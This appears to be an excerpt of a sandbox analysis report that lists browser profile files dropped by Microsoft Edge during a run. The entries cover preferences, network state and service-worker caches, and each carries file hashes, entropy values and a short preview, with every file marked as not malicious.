Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dd2a4ebd-5fa0-433f-90b1-0eab0ab549e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.109900741902411
Encrypted:	false
SSDEEP:	192:st9kdp2s5MrhaFvrE9kvX4Eh8nbV+F65QALUMPYYJ:st9Q2s5MrhCDVobGgQ5c
MD5:	727314CB6CC1586CC800F257C72FD3B0
SHA1:	815DF147C8BAE91DAE994E84B443677B1E62B820
SHA-256:	B59F7A5CA637B2B3AFA2D31768ACC7C7DE5F2EB99D62C3F9B4C720A9F69011DA
SHA-512:	700AB4EF4FA8F66F2EC24EEFB6544693D4ACBF6522345ABC9D138A1461B70E1CAF81CBF383CF3A37E08268D14B5C601D461304388AFBB29ACE74B4E4B5D9C910
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3fb39.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.109900741902411
Encrypted:	false
SSDEEP:	192:st9kdp2s5MrhaFvrE9kvX4Eh8nbV+F65QALUMPYYJ:st9Q2s5MrhCDVobGgQ5c
MD5:	727314CB6CC1586CC800F257C72FD3B0
SHA1:	815DF147C8BAE91DAE994E84B443677B1E62B820
SHA-256:	B59F7A5CA637B2B3AFA2D31768ACC7C7DE5F2EB99D62C3F9B4C720A9F69011DA
SHA-512:	700AB4EF4FA8F66F2EC24EEFB6544693D4ACBF6522345ABC9D138A1461B70E1CAF81CBF383CF3A37E08268D14B5C601D461304388AFBB29ACE74B4E4B5D9C910
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43b50.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.109900741902411
Encrypted:	false
SSDEEP:	192:st9kdp2s5MrhaFvrE9kvX4Eh8nbV+F65QALUMPYYJ:st9Q2s5MrhCDVobGgQ5c
MD5:	727314CB6CC1586CC800F257C72FD3B0
SHA1:	815DF147C8BAE91DAE994E84B443677B1E62B820
SHA-256:	B59F7A5CA637B2B3AFA2D31768ACC7C7DE5F2EB99D62C3F9B4C720A9F69011DA
SHA-512:	700AB4EF4FA8F66F2EC24EEFB6544693D4ACBF6522345ABC9D138A1461B70E1CAF81CBF383CF3A37E08268D14B5C601D461304388AFBB29ACE74B4E4B5D9C910
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b0dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.109900741902411
Encrypted:	false
SSDEEP:	192:st9kdp2s5MrhaFvrE9kvX4Eh8nbV+F65QALUMPYYJ:st9Q2s5MrhCDVobGgQ5c
MD5:	727314CB6CC1586CC800F257C72FD3B0
SHA1:	815DF147C8BAE91DAE994E84B443677B1E62B820
SHA-256:	B59F7A5CA637B2B3AFA2D31768ACC7C7DE5F2EB99D62C3F9B4C720A9F69011DA
SHA-512:	700AB4EF4FA8F66F2EC24EEFB6544693D4ACBF6522345ABC9D138A1461B70E1CAF81CBF383CF3A37E08268D14B5C601D461304388AFBB29ACE74B4E4B5D9C910
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557763485383365
Encrypted:	false
SSDEEP:	768:OakChIW8f7pLGLPYVW5wgqf45M8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPLPInku+x:OlqIbZcPYVWagqfQMu1jaW2LbZUtD
MD5:	643555871C9E3CFF80657A2E4B8D703E
SHA1:	0B37996F9A0556F2397E328742483EB35EE60B1A
SHA-256:	8FC90B289B35E6371AB5FEF024669932FFB624F9688DC2B8B35DF62D53E00418
SHA-512:	3DFA38C4B2D2A4930868CB235AA78488DBCCFC27C82A4857DE0D440235EEEF233604B120D2422237A33EDA96D44A14997C9C73C1C62847AFB1A41B11CD058F51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376800528836612","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376800528836612","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3fb39.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557763485383365
Encrypted:	false
SSDEEP:	768:OakChIW8f7pLGLPYVW5wgqf45M8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPLPInku+x:OlqIbZcPYVWagqfQMu1jaW2LbZUtD
MD5:	643555871C9E3CFF80657A2E4B8D703E
SHA1:	0B37996F9A0556F2397E328742483EB35EE60B1A
SHA-256:	8FC90B289B35E6371AB5FEF024669932FFB624F9688DC2B8B35DF62D53E00418
SHA-512:	3DFA38C4B2D2A4930868CB235AA78488DBCCFC27C82A4857DE0D440235EEEF233604B120D2422237A33EDA96D44A14997C9C73C1C62847AFB1A41B11CD058F51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376800528836612","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376800528836612","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4318c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557763485383365
Encrypted:	false
SSDEEP:	768:OakChIW8f7pLGLPYVW5wgqf45M8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPLPInku+x:OlqIbZcPYVWagqfQMu1jaW2LbZUtD
MD5:	643555871C9E3CFF80657A2E4B8D703E
SHA1:	0B37996F9A0556F2397E328742483EB35EE60B1A
SHA-256:	8FC90B289B35E6371AB5FEF024669932FFB624F9688DC2B8B35DF62D53E00418
SHA-512:	3DFA38C4B2D2A4930868CB235AA78488DBCCFC27C82A4857DE0D440235EEEF233604B120D2422237A33EDA96D44A14997C9C73C1C62847AFB1A41B11CD058F51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376800528836612","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376800528836612","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.832962708010509
Encrypted:	false
SSDEEP:	24:F2xc5Nmabcncmo0CRORpllg2DbfRH9VdCRORpllg2Sc03osxgKCRORpllg2DeRHM:F2em1trdDbfBHXrdYx/rdDeB7rd1BW
MD5:	0D8848C6EF61C33DF97176256972B381
SHA1:	DEB19DB7E2FD3FE2A5F3455B7C4D31D8D3BFEC95
SHA-256:	0E3C5C689CE3C6B09DFEF57361A8D7510D557C98EF161DB10D3283C772700184
SHA-512:	C4D3A0F2F07EC41325237609B0C1B80EDD2DE9A8E351D09CF945636429D2574DF10D1F0B827BE985E052FE246946CD7429132CD27777796AD381D3B3184A5640
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2...Tm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.113410995132379
Encrypted:	false
SSDEEP:	6:HOfT1N723oH+TcwtE/a252KLlVOfVQ4q2PN723oH+TcwtE/a2ZIFUv:QzaYeb8xLYW4vVaYeb8J2FUv
MD5:	6EFED7CFF535BC741FADCD8EF1F7E33F
SHA1:	20A29C10438598728576CD29A0EFFD7973111A56
SHA-256:	08EC0AF62FC3B023F0B06CD1DF9E7EF3AF669CA09615F35BF3348FF27FE57262
SHA-512:	1E5E6CABE39952B361C4B84FEBC81990F34E124AE81671B3AF985BA4552F9766A50AD2BA01A43CE94D1F1048A4552B1D69F20F071C9B960698D5AF80DA3FF467
Malicious:	false
Preview:	2024/11/22-20:55:50.128 2330 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/22-20:55:50.149 2330 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.5777392818495395
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYguP:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFQ
MD5:	D175A7BA18BF5E0EEC4498EFCF96D5DD
SHA1:	3B36365B7857C6D118C2052AFFB5D44B6F4B6EC7
SHA-256:	FEE5DB44D8DFE265CC187C91176DDBE746D5301FD31526F908EC2074B7BAD761
SHA-512:	949F23088F1729BE9E9674BF485B052E817BC243088E0BE4A195A1B2394B565783A2585A3DE2B38A88BB6F0191B64F18FBEB623A06E907AF11F7651F6B6AAEE9
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.3859011411001045
Encrypted:	false
SSDEEP:	3072:6jDpApLNUao4wcUe5p6L/xgLMpwrwrBwl1jrccD:Ux4wA5kL/2mJBs4G
MD5:	24AB599EE8981A292A3445AAB543B9AB
SHA1:	6880C6DC319FB0B78D5BC4015E33983614B24E20
SHA-256:	7B6BDEE2FCC99564ED3CDF37BD59DCB4D07FB28A5CD403047F83B03E7633C908
SHA-512:	40059E29A44C26F691ADD1B75AB904667FDDC69AD98C5430E69AB5330DD0005213F5B43FEA5A927F5D028BE7EFA6A155F1ABF99F3C87E663429B1D8C934E5ED8
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTx........,T.8..`,.....L`.....,T...`......L`......Rcvw......exports...Rc...K....module....Rc.;R.....define....Rb.,%....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.N...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GPSKc9Xl/ly/l9/lxE0tlla/lRpxwDn:GP5CmO0g+D
MD5:	CF8D88197F3BE19779D70107409B98A5
SHA1:	8885468F2E767B55A6555DAB3A73D1D2F3DDD34B
SHA-256:	A4F7A0D3ADB5192C767B56295C4F477A0FC38A42E6E1C7C5F360DFAD4D86D1D8
SHA-512:	9B881A2D35D676D809893F923C80BC9176446D5EE2F5AE56C52008DAB63CD428D6A56923F8CCEAF8691FFF383A8B76164E30D4E27CBD3BED56411354D1B4939A
Malicious:	false
Preview:	@....j/.oy retne.........................X....,...................!./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GPSKc9Xl/ly/l9/lxE0tlla/lRpxwDn:GP5CmO0g+D
MD5:	CF8D88197F3BE19779D70107409B98A5
SHA1:	8885468F2E767B55A6555DAB3A73D1D2F3DDD34B
SHA-256:	A4F7A0D3ADB5192C767B56295C4F477A0FC38A42E6E1C7C5F360DFAD4D86D1D8
SHA-512:	9B881A2D35D676D809893F923C80BC9176446D5EE2F5AE56C52008DAB63CD428D6A56923F8CCEAF8691FFF383A8B76164E30D4E27CBD3BED56411354D1B4939A
Malicious:	false
Preview:	@....j/.oy retne.........................X....,...................!./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44477.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GPSKc9Xl/ly/l9/lxE0tlla/lRpxwDn:GP5CmO0g+D
MD5:	CF8D88197F3BE19779D70107409B98A5
SHA1:	8885468F2E767B55A6555DAB3A73D1D2F3DDD34B
SHA-256:	A4F7A0D3ADB5192C767B56295C4F477A0FC38A42E6E1C7C5F360DFAD4D86D1D8
SHA-512:	9B881A2D35D676D809893F923C80BC9176446D5EE2F5AE56C52008DAB63CD428D6A56923F8CCEAF8691FFF383A8B76164E30D4E27CBD3BED56411354D1B4939A
Malicious:	false
Preview:	@....j/.oy retne.........................X....,...................!./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5865
Entropy (8bit):	3.4039509406060264
Encrypted:	false
